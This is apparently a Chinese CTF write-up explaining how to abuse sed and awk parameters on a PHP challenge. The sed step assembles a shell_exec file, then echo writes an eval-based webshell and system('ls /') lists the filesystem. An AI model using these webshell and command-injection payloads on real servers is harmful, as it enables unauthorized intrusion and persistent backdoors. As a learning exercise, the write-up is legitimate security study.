1.sed 方法
在liunx中除了普通的cat还有sed,
sed 的基本使用【详图】_sed使用_你有些许优秀的博客-CSDN博客
这里面我们的目标其实是从中选取几行代码绕过给出的函数创建新文件,
1.<?php
2.$cmd = $_POST['cmd'];
3. shell_exec($cmd);
组成
<?php
$cmd = $_POST['cmd'];
shell_exec($cmd);
这样一个文件,我们就可以通过传参随意浏览执行命令。
这里要使用正则表达式的匹配
首先在原文件中传参
cmd=sed
然后
param=/php\|POST\|exex/w 1.php
\是转义所以\|,
这样子1.php就生成了,我们再访问当前地址1.php,然后进行传参cmd=echo "<?php eval(\$_POST['cmd']);?>">2.php
访问2.php,用cmd=system('ls /')就可以读取了
本来我想问什么已经可以控制cmd,就可以直接读取文件了,但是并不行,必须要写入木马获得webshell才能执行。
2.awk方法
还可以使用awk,
可以直接执行命令,但因为界面没有回显所以
cmd=awk¶m={system("ls />a")}
将读取的文件写入a,然后读取a就可以下载。